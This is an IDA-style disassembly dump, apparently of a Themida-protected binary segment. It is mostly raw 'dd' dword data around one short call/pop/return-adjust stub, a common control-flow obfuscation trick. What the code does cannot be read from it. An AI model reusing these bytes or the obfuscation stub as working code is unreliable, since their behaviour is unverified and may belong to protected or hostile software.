		dd 31AD8D8Bh, 8B5007FAh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0EE9h, 27868B00h,	0F518D86Bh, 0CB5798E8h
		dd 6A5E7ACDh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0CAE6C351h, 0DF06C15Ah, 8A0F2582h
		dd 6, 0A6D9D8Bh, 0FE907FAh, 52000000h, 0C5CFE975h, 68417743h
		dd 61C03B55h, 0BD839397h, 7FA2A29h, 84840F00h, 8B000000h
		dd 0FA0E099Dh, 0B807h, 8D8D0000h, 7FA4F66h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 5AC35646h, 4527D09Bh
		dd 0E8816660h, 9D33E24Dh, 7FA3159h, 6AE1FF61h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 7255C356h, 9E8h, 0CFA5D700h,	0B8AFA1C1h, 9D31DD80h
		dd 7FA23A5h, 0C800F5Fh,	0F000000h, 68Fh, 1D9D8B00h, 8307FA07h
		dd 0FA2BD9BDh, 840F0007h, 4D9h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 40C35242h, 31F6F635h, 4D932A03h
		dd 0DE881h, 515B0000h, 95A8B042h, 534581E3h, 893572B9h
		dd 0FA11A19Dh, 0BD835B07h, 7FA2BD9h, 0A9840F01h, 66000004h
		dd 0BD83F98Bh, 7FA2BD9h, 63860F03h, 89000004h, 0FA240D9Dh
		dd 6A6007h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0ABAE94C3h, 0D98C665Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0BBC35040h,	3C8876EDh, 0B19D8B5Bh
		dd 0E807FA21h, 0Eh, 18588413h, 0C8902775h, 209670A1h, 9D8B98F4h
		dd 7FA25FDh, 4E1805Bh, 0AD9B70Fh, 0A1840FC9h, 6A000001h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 2902C356h, 0FA01E5B5h, 12E907h, 0F0AD0000h
		dd 8E8A7314h, 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 0FE9858Bh
		dd 8B6607FAh, 0E18533F8h, 6A07FA15h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B9ECC356h
		dd 4A3E2865h, 41950174h, 9007FA08h, 0E9525053h,	0Fh, 0FDE05BB9h
		dd 14A69284h, 73A2A999h, 0FC9E158h, 5A5B5031h, 90505B58h
		dd 9C4ABB66h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 3ED861C3h, 0FA590FAh, 981h, 3850F00h
		dd 0F000000h, 0E568FAB7h, 5038FE73h, 0EE852h, 227A0000h
		dd 45C40D17h, 0DA5571F8h, 57DB0771h, 860Fh, 0F5F0000h
		dd 2820F31h, 8B000000h,	81585AFBh, 701A2434h, 0B70F38E1h
		dd 12E9DAh, 7CCD0000h, 6CCF1AB1h, 0CADA6482h, 0FE480086h
		dd 526D3610h, 1CE995FFh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0DA48FCC3h, 0E6126DF6h
		dd 219D8973h, 8907FA10h, 0FDEB9685h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0D70B1730h
		dd 89CFAB2h, 0BB668843h, 0FCE93488h, 6A000001h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0F1D6C353h, 6AF7BFB5h, 66F95A96h, 0AFEADB81h, 0EB8E858Bh
		dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0AC9D2EC3h, 0E70B87D3h, 0C9BD892Ch, 0C707FA0Ch
		dd 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0B58B5EC8h, 7FDEB92h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 72C35343h, 359D8B89h
		dd 8B07FA1Dh, 0FA0D5185h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0DA7B2FD1h
		dd 399D8BA7h, 0BF07FA35h, 27B77E5h, 0E92DBB66h,	8E90689h
		dd 47000000h, 0FA004812h, 8BB0D9C2h, 0FA0FE985h, 10E95007h
		dd 43000000h, 46C2C98Dh, 0F5F0B421h, 0C2638E50h, 5B39DC68h
		dd 81044689h, 0ACADF8E3h, 0BB66964Ch, 0F5039CBh, 88Fh
		dd 840F5600h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		xchg	eax, esi
		push	0
		push	esi
		call	sub_5CA419
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CA419	proc near		; CODE XREF: Themida_:005CA411p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5CA419	endp

; ---------------------------------------------------------------------------
		db 2Dh,	11h, 1Bh
		dd 643F0A33h, 0EB8EB5FFh, 6A07FDh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0A3B3D4C3h, 0B14738AEh
		dd 9E8F3h, 0E8CB0000h, 78A41F1Eh, 8BC346C4h, 6685BFBh
		dd 81ACD43Bh, 0C8F92404h, 0BD03534Ah, 7FA1F29h,	0EB96858Dh
		dd 0BD3107FDh, 7FA1CFDh, 90DBBF0Fh, 0BB665250h,	310F2402h
		dd 585A28B7h, 13E95350h, 34000000h, 0A2986D74h,	0C3D1A80Ch
		dd 0BB0D6C50h, 5FD72E09h, 905F575Fh, 0F219D89h,	95FF07FAh
		dd 7FA1CE9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0E4C35646h, 0A4A134A1h,	8D8D894Ah, 6107FA20h, 6870Fh
		dd 0BD290000h, 7FA1E0Dh, 0C7D9BF0Fh, 0FA2BD985h, 307h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 259D3369h, 8307FA22h, 0FDEB96BDh, 840F0007h
		dd 2Eh,	177D9589h, 3EE907FAh, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 2A27C356h
		dd 0FCEAFCCFh, 305021F7h, 4400110Ch, 0E8C10111h, 11443010h
		dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h,	11640011h
		dd 10E8C101h, 2114430h,	3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 558509C0h, 0BF07FA2Bh,	53B1625Eh
		dd 24D58529h, 0BD8307FAh, 7FA2BD9h, 75850F03h, 51000003h
		dd 835F44B3h, 0FDEB96BDh, 840F0007h, 364h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D2C35646h, 2251B501h
		dd 0BF0F07FAh, 0B5FFF8DBh, 7FDEB96h, 274595FFh,	0E78107FAh
		dd 1555197h, 0EB8AB58Bh, 6A07FDh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0AE67C4C3h, 0E8D98AD4h
		dd 0F9DD7ECh, 6C7FABFh,	10001h,	6E960h,	0E9C40000h, 245D9E98h
		dd 2C9D8D89h, 966107FAh, 0C033FBBBh, 0FB8B503Ch, 61BD8B96h
		dd 8907FA00h, 0FA0FB985h, 96B5FF07h, 0FF07FDEBh, 0FA18E195h
		dd 9CD78107h, 8B252688h, 0FDEB8AB5h, 56006A07h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BAAE7559h
		dd 823C8108h, 1C7D858Bh, 6A07FAh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D93419C3h, 89DD8AE2h
		dd 0C486h, 0AE9F800h, 9D000000h, 0B5632F1h, 6346E4A4h
		dd 0D9958B7Ah, 5107FA1Ch, 4C2835Fh, 6830Fh, 0BD8B0000h
		dd 7FA26B9h, 6EDBD29h, 508907FAh, 7E920h, 31460000h, 0C5539173h
		dd 0F7858D8Fh, 6A07FDFEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 88F6C356h, 21859D31h
		dd 868907FAh, 0B8h, 2AD9BD33h, 6A07FAh,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 6DC35545h, 3656A724h
		dd 9D8B0C9Bh, 7FA2611h,	0EB96B5FFh, 6A07FDh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 92E00AC3h
		dd 50A0B04Ah, 6D8D8960h, 6607FA15h, 61C830BFh, 1C9595FFh
		dd 952907FAh, 7FA0F99h,	546E4ABBh, 0BF665073h, 348959C7h
		dd 1D9D0B24h, 0FF07FA25h, 0FDEB96B5h, 0D1958907h, 0FF07FA2Eh
		dd 0FA1D9595h, 83F88B07h, 0FA0131BDh, 840F0007h, 47h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0D9C35646h, 34895037h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 8529F0BEh, 7FA2315h, 0FFFAB70Fh,	0FDEB96B5h
		dd 6A16BB07h, 95FF5365h, 7FA1CB5h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 5C35141h, 0B5FFA09Eh, 7FDEB96h
		dd 0AA2CBF66h, 21AD95FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0F4E522C3h, 0B529818Fh
		dd 7FA3509h, 2221BD83h,	0F0207FAh, 8A84h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 520782E1h, 0D1AEDA10h, 858BDC8Ah, 7FA1615h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E5C35646h, 0D023CB8Dh
		dd 8949837Fh, 0FA2179BDh, 0FEB70F07h, 6A0000C6h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 55D5C356h, 74D98E66h, 8E9AAB0h, 7000000h, 0E773DF7Dh
		dd 0C71EA544h, 0FA16DD85h, 7, 9A56BB00h, 0B5895296h, 7FA14E5h
		dd 0FFF3BDE9h, 57006AFFh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B866D22h, 50006AC1h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0EFC72824h, 14127BA7h, 1DBD89D5h, 8D07FA2Ah,	0FA019985h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0B574FCA1h, 8B3A7344h, 0FA29119Dh, 0B3505007h
		dd 4895BB8h, 0B1BD8924h, 6A07FA1Ch, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 7384BCC2h
		dd 6A73FAh, 0E852006Ah,	3, 5AC35A20h, 4245489h,	4244481h
		dd 1Ah,	57C35242h, 73C01D25h, 9E994F6h,	52000000h, 72D56E0Fh
		dd 0E97480D9h, 7780858Dh, 858907FEh, 7FA2B95h, 7AD9D89h
		dd 0C08307FAh, 880F6005h, 4, 0C5C0BE66h, 14E9h,	0ED7AF200h
		dd 7D1197FFh, 43AE5C79h, 0B12AE9D6h, 39A23F58h,	505061D2h
		dd 1CB35652h, 0E9310F5Bh, 0Ah, 52CEC921h, 0E85AFB51h, 585ADB57h
		dd 6A240489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0B423C353h, 7DFCF83Ah,	1181B509h
		dd 0FB8B07FAh, 0B589006Ah, 7FA0D2Dh, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9933C0C3h
		dd 7E2AD40Eh, 9DBD29CCh, 0FF07FA01h, 0FA2BE995h, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 0FA8AD7B3h, 0C99D8B04h, 8D07FA14h, 0FDD7118Dh, 0E0806007h
		dd 8D31537Ah, 7FA17E5h,	0D1FF6159h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0DC35646h, 0BD83D15Dh, 7FA33EDh
		dd 7E850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 15042444h, 46000000h, 7BBFC356h, 1499529h
		dd 26A07FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0C4C35545h, 0E850B3C2h,	0Ah, 501008A3h,	0FD623393h
		dd 9E81A1Eh, 0F2000000h, 2C10B401h, 0FFBF6D65h,	310F5250h
		dd 5F5F585Ah, 0FF240489h, 0FA1C9595h, 6E807h, 85680000h
		dd 0DA7E90EDh, 0DCAE95Bh, 0E80000h, 5D000000h, 778AED81h
		dd 6A07FEh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 4937BAC3h, 99D33BBh, 8D07FA2Ch, 0FDB95985h
		dd 1A810F07h, 0E8000000h, 0Eh, 865D991h, 0CEEB4732h, 1C1EA7DCh
		dd 8B0FFBDDh, 0
		dd 5250505Fh, 8B665250h, 60310FDEh, 0F585A61h, 8E931h
		dd 0CC280000h, 0A917EEE3h, 585A0120h, 6A240489h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0FEA9C357h, 8E298C87h, 0FF64761Ah, 35h, 259D8B00h, 6407FA35h
		dd 2589h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 85FF48C3h, 7FA1049h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E0C35545h, 8184D7DDh
		dd 126695CBh, 6AFF6A5Ah, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 568EC352h, 53856EBFh
		dd 51A10BF9h, 18FDB529h, 0BD8B07FAh, 7FA34D9h, 0CE9h, 0F29BF00h
		dd 2CE2133Fh, 0BE4AA8DFh, 59B5FF4Bh, 8B07FA2Fh,	0FA22699Dh
		dd 7595FF07h, 0E907FA28h, 122h,	1469BD8Bh, 0B007FAh, 559BD89h
		dd 70E607FAh, 4BDF8166h, 6671E483h, 613CD88Bh, 100830Fh
		dd 9E90000h, 0AB000000h, 7EA0DE6Ch, 1D5E76Ah, 0E8C8B60Fh
		dd 7, 0E1491DA4h, 0E9B0A188h, 9, 90D5D4FFh, 2493CB6h, 6BA5F91h
		dd 89000000h, 0FA013985h, 0FC18B07h, 0E8C1D8B7h, 0DCF78104h
		dd 660F5416h, 3ABBE2F7h, 2B57F0D4h, 559D23C8h, 8B07FA00h
		dd 666057D1h, 6D67EF81h, 5B615E57h, 6E9F88Bh, 31000000h
		dd 0FA1BE99Dh, 1D858B07h, 0F07FA17h, 0C87h, 6800F00h, 89000000h
		dd 0FA2BF585h, 4D852907h, 8307FA28h, 7E807C0h, 99000000h
		dd 0B3E6D27Fh, 8589A9B5h, 7FA269Dh, 0C0835Bh, 10B9BD29h
		dd 0D03B07FAh, 15830Fh,	8D0F0000h, 3, 0E9FA8B66h, 3Eh
		dd 1D799D8Bh, 8BF907FAh, 0FA1E898Dh, 85858907h,	8307FA25h
		dd 840F01E1h, 22h, 1E89A583h, 8BFE07FAh, 0FA14859Dh, 1D958907h
		dd 0F07FA17h, 489h, 77BB6600h, 0E981h, 0B58D0000h, 7FE0A9Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 99C35646h
		dd 0C15FB916h, 6AFE0851h, 919D8900h, 0FF07FA1Ch, 0FA101995h
		dd 0B58D2907h, 0B907FA08h, 0E85h, 66CB8166h, 0FCE183E7h
		dd 29BD03h, 6AFC07FAh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 1980C353h, 68A80D53h
		dd 0FF4BA02h, 0C02BFAB7h, 16198D89h, 0D22B07FAh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 13C35545h, 2C0B5EF7h
		dd 555B6CD6h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 50C35646h, 0B19D8B3Ch
		dd 6A07FA1Dh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0CC61C356h, 2AD9ECEAh,	0D5CDBC01h
		dd 0FDF8B66h, 880DDFBFh, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0C64DC357h
		dd 0B8C0FA9h, 60000000h, 8BCE8B66h, 0FA0B9D95h,	958B6107h
		dd 7FA1CD9h, 68D38166h,	0AD8D8BE4h, 6A07FA31h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 7813C355h, 0BA6B39CDh, 210767A3h, 9E9h, 0C362B100h
		dd 8908325Bh, 8E8B69Fh,	0E4000000h, 1812F757h, 0BF98CC4Fh
		dd 1C0949D7h, 0C28B505Bh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 6058188Bh, 293D9533h, 850107FAh, 7FA1119h, 29BD8361h
		dd 7FA2Ah, 94840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 160424h, 56460000h, 0A9C5DDC3h, 2B61BD8Bh
		dd 0B807FAh, 6A000000h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0F822C352h,	8C4CF594h
		dd 8D8D31FCh, 7FA4F66h,	13E9h, 9968E500h, 5DE451A5h, 7C37F762h
		dd 8314DC3h, 493664DEh,	15859589h, 0E1FF07FAh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4BC35141h, 0F5ED6889h
		dd 0BD83FFABh, 7FA2BD9h, 0F1840F00h, 6A000003h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0CEE8C357h, 2BD9BD83h, 0F0107FAh, 3E284h, 0D8BF0F00h
		dd 2BD9BD83h, 0F0307FAh, 39C86h, 0FE8B5100h, 6A605Fh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 664D00C3h, 62CC781h,	2D119D89h, 8C6607FAh, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 2DC2C694h, 8E0F6B4Dh, 0Fh, 0AE9h, 80261400h,	1F83157Bh
		dd 89401CB3h, 0FA07BD95h, 4E18007h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 85C35646h, 0FC90A6Eh, 10984h
		dd 0E9858B00h, 6A07FA0Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 533BC355h, 0EAC41C57h
		dd 0E18533F4h, 8B07FA15h, 0FA0FD5BDh, 7E89007h,	91000000h
		dd 0E860E99Ch, 52501E5Dh, 310F6160h, 5AD98B66h,	8B505B58h
		dd 0F78190FAh, 7A13834h, 0BD89006Ah, 7FA231Dh, 4E8h, 1F03FF00h
		dd 118E0F00h, 0E8000000h, 5, 23C01AAh, 820F46h,	5F000000h
		dd 24448B50h, 0BE904h, 4D610000h, 958AE8F7h, 0D84B634Dh
		dd 52008B78h, 2444895Fh, 9E804h, 0EE3F0000h, 8E36A33Bh
		dd 5FC12069h, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 6FA537E6h, 8032D924h, 95FFA8CBh
		dd 7FA1CE9h, 2846E781h,	858916CDh, 7FDEB96h, 13E9h, 0B5CC400h
		dd 0C807185Ah, 894D8B8Eh, 736DD12Ah, 2445480Dh,	197E9h
		dd 0DBB70F00h, 8859D29h, 858B07FAh, 7FDEB8Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 17C35646h, 0BB6648BDh
		dd 0C7C4DEh, 18h, 3BC5BF66h, 0EB92B58Bh, 6A07FDh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0AAB1ACC3h, 70EF9A78h, 0E99D8BB4h, 0E807FA28h, 8, 0E58D8735h
		dd 0C6D6F655h, 6890Fh, 9D0B0000h, 7FA20B9h, 51858B5Bh
		dd 0F07FA0Dh, 688h, 5D8D8900h, 8907FA11h, 38C0F06h, 0F000000h
		dd 858BD9BFh, 7FA0FE9h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 7BC35141h, 0DD9D8B9Eh, 8907FA18h, 9D2B0446h
		dd 7FA2845h, 0E519D8Bh,	0BF5007FAh, 90E8C1Ah, 0B7243489h
		dd 0B59D0997h, 0FF07FA32h, 0FDEB8EB5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 703D816Bh, 0F4EC1D2h, 0D968F9BFh, 81A22372h,	91262404h
		dd 6A5DFBh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 19A4EEC3h, 0F380C86Fh, 96858DB3h,	8B07FDEBh
		dd 0FA34AD9Dh, 8E99007h, 0EC000000h, 0C6106ED0h, 5094DAB6h
		dd 5E9h, 0BC106400h, 669089F2h,	0FFC35DBBh, 0FA1CE995h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0B393D0E7h, 98C8A130h, 34BF6661h, 0D985C74Ah
		dd 307FA2Bh, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h
		dd 41000000h, 0A8DCC351h, 27E99D8Bh, 0BD8307FAh, 7FDEB96h
		dd 32840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E919C355h,	2Ch, 0B830Fh
		dd 8C0F0000h, 5, 7B33C9BBh, 0C30502Ch, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0F4C35545h, 6291A0B7h, 0FCD24E3h, 68Ah
		dd 0A5953100h, 2907FA2Dh, 0FA18B99Dh, 0D9BD8307h, 307FA2Bh
		dd 44B850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 36AF3FC3h, 0DD8A6032h, 0A73AD781h
		dd 8361024Bh, 0FDEB96BDh, 840F0007h, 415h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E3C35747h, 0BD33D7BCh
		dd 7FA1681h, 0B9BD0Bh, 0B5FF07FAh, 7FDEB96h, 7C38166h
		dd 4595FFBBh, 6A07FA27h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 680C355h, 6D18A068h
		dd 8BF59CB4h, 0FDEB8AB5h, 0DFB70F07h, 38F0Fh, 8B660000h
		dd 106C7D9h, 6A000100h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 845C353h, 8B21B312h
		dd 0FA29ED9Dh, 96509607h, 6399589h, 958907FAh, 7FA2871h
		dd 0EB96B5FFh, 6A07FDh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 1C27A1C3h, 67979574h, 0E9BF660Bh
		dd 719D8985h, 0FF07FA0Dh, 0FA18E195h, 0C19D8B07h, 8B07FA10h
		dd 0FDEB8AB5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 896EBF56h, 0FA35099Dh
		dd 7D858B07h, 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8960C351h, 0C486h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9134D1B3h, 0CDFE2F2Eh, 9D8B51EFh, 7FA345Dh
		dd 0D9958B5Fh, 8907FA1Ch, 0FA18D1B5h, 6E907h, 999C0000h
		dd 178D7A1h, 8104C283h,	478E8EFh, 2050894Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0CBC35141h, 4291805Ch
		dd 0FE9h, 62D6CA00h, 9144E342h,	8624C61Eh, 1A872C4Ah, 0FEF7858Dh
		dd 0DF8007FDh, 0BE926h,	1D30000h, 0C3F75E8Bh, 0C376969Eh
		dd 0B886898Fh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 292EC355h, 0F98F5CE8h
		dd 8E88F0Fh, 0F1000000h, 7E5B7F58h, 0F6F5473h, 8Eh, 6A5B00h
		dd 6EDBD0Bh, 0B5FF07FAh, 7FDEB96h, 9D2355B7h, 7FA18FDh
		dd 1C9595FFh, 0DE907FAh, 89000000h, 5DCA7BBFh, 0AD327EB8h
		dd 0B56F9C6Fh, 0E8525096h, 0Bh,	590111D3h, 8712B43Bh, 8B81B910h
		dd 310F5BDFh, 5AFE8B66h, 0BA605058h, 0CD5120Ch,	0EE9h
		dd 7CE20300h, 625C8DDCh, 94344EC0h, 61706551h, 98D0996h
		dd 0FF07FA22h, 0FDEB96B5h, 6D858907h, 0B07FA1Dh, 0FA064D9Dh
		dd 9595FF07h, 6A07FA1Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0E69C350h, 0BEBB6664h
		dd 31BD8364h, 7FA01h, 31840Fh, 9D8B0000h, 7FA1035h, 89DA8B50h
		dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 3C1DE9C3h, 0ADBD239Eh, 0FF07FA0Ch, 0FDEB96B5h
		dd 0E19D3107h, 0FF07FA27h, 0FA1CB595h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 3D740481h, 0BFB46085h, 5AA1D941h, 399D8B51h,	5B07FA07h
		dd 0EE9h, 28853500h, 0C5C9F65Eh, 3F75201Dh, 0FFB6AE79h
		dd 0FDEB96B5h, 95FFFC07h, 7FA21ADh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 62C35747h, 0AA478B38h, 0E72FBB66h
		dd 2221BD83h, 0F0207FAh, 5784h,	188B0F00h, 0E8000000h
		dd 11h,	54491669h, 382E90FDh, 0F1C1FFC7h, 7EBBFC0Eh, 8B5BF9D3h
		dd 0FA161585h, 0BD896007h, 7FA3379h, 61F2B70Fh,	6A0000C6h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 254AC355h, 9D035D92h, 7FA2E59h, 16DD85C7h
		dd 7FAh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 190424h, 55450000h, 0FE0BA0C3h, 814F6371h, 5F4B79E3h
		dd 0F36FE91Dh, 0DE8FFFFh, 0B1000000h, 200853DEh, 7787D36h
		dd 1680AB68h, 17D59D8Bh, 8B5B07FAh, 0FA2DB59Dh,	6AC18B07h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 5358C352h, 5BD98B66h, 199858Dh, 0BD8B07FAh
		dd 7FA3295h, 5E48BB90h,	50503339h, 66310F52h, 585AF88Bh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 2A75BDF2h, 89BD29B5h, 6A07FA31h,	9D015100h
		dd 7FA0205h, 9006A5Bh, 0FA2575BDh, 8858D07h, 5707FE87h
		dd 76D8BB66h, 5C0835Bh,	25118501h, 665007FAh, 89E1E3BBh
		dd 2DB72404h, 6AF9BF0Fh, 0C7816600h, 6AA3C5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 3BC35242h, 95FFFC78h
		dd 7FA2BE9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	3CC35040h, 1A681030h, 65C956C0h, 118D8D78h, 6A07FDD7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 99DFC353h, 690D7A12h, 0BD2989E5h,	7FA1671h
		dd 5E9D1FFh, 0A9000000h, 0C4E6ED2Bh, 33EDBD83h,	0F0107FAh
		dd 0A885h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0F8BE79h,	0DDBB54CAh, 663E2EB7h
